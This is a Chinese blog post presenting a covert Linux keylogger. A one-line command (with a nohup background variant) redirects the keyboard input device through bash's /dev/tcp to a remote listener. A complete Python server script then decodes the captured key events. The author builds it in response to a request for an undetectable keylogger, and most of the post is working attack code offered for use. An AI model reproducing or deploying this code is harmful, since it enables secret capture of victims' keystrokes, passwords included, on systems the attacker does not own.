一条命令远程监控Linux键盘输入

1
cat /dev/input/event0 > /dev/tcp/127.0.0.1/1234 >&1

中午水群的时候,看到群友提的需求,要实现在Linux下的键盘记录,要求是没有进程、不易察觉等等。在思考Linux下怎样实现无痕迹的键盘记录的时候,脑洞一开突然想到在Linux中,所有的设备都是以文件的形式挂在/dev目录下的,键盘也不例外。与用户输入有关的设备/dev/input/eventX通常是一种字符设备,是以流的形式实时地连续读取的。再联想到反弹shell的时候,有一种姿势是通过将bash重定向到/dev/tcp中的设备,来实现反弹shell的。那么同理,是不是可以将/dev/input/下的输入设备字节流实时发送到远程进行监听呢?

想到就去做,于是先在本地监听一个端口,再通过重定向输入将/dev/input/event0设备的字节流发送到本地的监听端口,可以看见,能够成功将输入重定向到目标端口,说明此路可通。

只是这个时候,在我们的监听窗口中接收到的来自键盘设备的输入都是乱码,因为event0设备的输出是内核定义的特定结构体,并不是直接的可见字符,于是,我们还需要实现一个解析命令的服务端控制台来实现对输入的解析。

关于输入设备传入的结构体,想要了解Linux操作系统如何解码它,我们需要知道Linux输入事件input_event结构体是如何定义的。这里通过查阅资料了解到,键盘事件结构体的定义在python中的解包格式是’llHHI’,分别表示时间戳、设备类型、事件类型、事件值等。(结构体详情可以参考/usr/include/linux/input.h)。

因此目标就明确了,写个脚本在服务端远程解码即可。实现的效果:

在服务端运行脚本,目标靶机中输入命令:

cat /dev/input/event0 > /dev/tcp/127.0.0.1/1234 >&1

服务端看到的情况:

思考

这种方法实现的键盘记录,优点是不需要在目标服务器中上传二进制木马,只需要一条命令就可以执行。但是缺点是低权限用户一般无法读取/dev/目录下字符设备的输入,导致攻击利用有一定的局限性。同时执行ps命令会看到cat进程读取输入设备的进程,也可以在netstat中看到有网络连接等,容易被管理员发现,所以一般只能用于渗透测试过程中临时测试使用,或是一些比较特殊的场景下使用。

附赠服务端脚本:

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# Chorder @ 20190724

import sys
import time
import socket
import struct

if len(sys.argv) < 3:
print("Usage:\n\tpython %s IP PORT" % __file__ )
exit(0)
else:
host = sys.argv[1]
port = int(sys.argv[2])
print("[*] 在目标主机运行以下命令:\n前台运行:\tcat /dev/input/event0 > /dev/tcp/%s/%d >&1" % (host,port) )
print("后台运行:\tnohup cat /dev/input/event0 > /dev/tcp/%s/%d >&1 &" % (host,port) )
print("[*] 开始监听...")

s = socket.socket()
s.bind((host, port))
s.listen(5)

FORMAT = 'llHHI'
EVENT_SIZE = struct.calcsize(FORMAT)

KEYBOARD_MAP={
0 :"ESC",
1 :"ESC",
2 :"1",
3 :"2",
4 :"3",
5 :"4",
6 :"5",
7 :"6",
8 :"7",
9 :"8",
10 :"9",
11 :"0",
12 :"-",
13 :"=",
14 :"BACK",
15 :"TAB",
16 :"Q",
17 :"W",
18 :"E",
19 :"R",
20 :"T",
21 :"Y",
22 :"U",
23 :"I",
24 :"O",
25 :"P",
26 :"LBRACKET",
27 :"RBRACKET",
28 :"RETURN",
29 :"LCONTROL",
30 :"A",
31 :"S",
32 :"D",
33 :"F",
34 :"G",
35 :"H",
36 :"J",
37 :"K",
38 :"L",
39 :"SEMICOLON",
40 :"APOSTROPHE",
41 :"`",
42 :"LSHIFT",
43 :"\\",
44 :"Z",
45 :"X",
46 :"C",
47 :"V",
48 :"B",
49 :"N",
50 :"M",
51 :",",
52 :".",
53 :"/",
54 :"RSHIFT",
55 :"MULTIPLY",
56 :"Alt",
57 :"SPACE",
58 :"CAPITAL",
59 :"F1",
60 :"F2",
61 :"F3",
62 :"F4",
63 :"F5",
64 :"F6",
65 :"F7",
66 :"F8",
67 :"F9",
68 :"F10",
69 :"NUMLOCK",
70 :"SCROLL",
71 :"NUMPAD7",
72 :"NUMPAD8",
73 :"NUMPAD9",
74 :"SUBTRACT",
75 :"NUMPAD4",
76 :"NUMPAD5",
77 :"NUMPAD6",
78 :"ADD",
79 :"NUMPAD1",
80 :"NUMPAD2",
81 :"NUMPAD3",
82 :"NUMPAD0",
83 :"DECIMAL",
87 :"F11",
88 :"F12",
100 :"F13",
101 :"F14",
102 :"F15",
112 :"KANA",
121 :"CONVERT",
123 :"NOCONVERT",
125 :"¥",
141 :"NUMPADEQUALS",
144 :"^",
145 :"@",
146 :":",
147 :"_",
148 :"KANJI",
149 :"STOP",
150 :"AX",
151 :"UNLABLED",
156 :"NUMPADENTER",
157 :"RCONTROL",
179 :"NUMPADCOMMA",
181 :"DIVIDE",
183 :"SYSRQ",
184 :"ALT",
197 :"PAUSE",
199 :"HOME",
200 :"UP",
201 :"PRIOR",
203 :"LEFT",
205 :"RIGHT",
207 :"END",
208 :"DOWN",
209 :"NEXT",
210 :"INSERT",
211 :"DELETE",
219 :"LMETA",
220 :"RMETA",
221 :"APPS",
222 :"POWER",
223 :"SLEEP"
}

class KeyboardEvent():
def __init__(self,event_data):
(evt_sec, evt_usec, evt_type, evt_code, evt_value) = struct.unpack(FORMAT, event_data)
evt_time = time.localtime( float("%d.%d" % (evt_sec, evt_usec ) ) )
if evt_type == 1 and evt_value == 1:
try:
print("%s: %s" % ( time.strftime("%Y-%m-%d %H:%M:%S",evt_time), KEYBOARD_MAP[evt_code]))
except KeyError as e:
print("%s: 未知字符 %s" % (time.strftime("%Y-%m-%d %H:%M:%S",evt_time), evt_code) )
else:
pass




while True:
client_handle,client = s.accept()
print "新客户端上线: %s:%s" % ( client[0],client[1] )
while True:
kbevt = KeyboardEvent( client_handle.recv(EVENT_SIZE) )

c.close()


合肥十二小时 CentOS6安装sassc(Install sassc gem on CentOS 6)
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×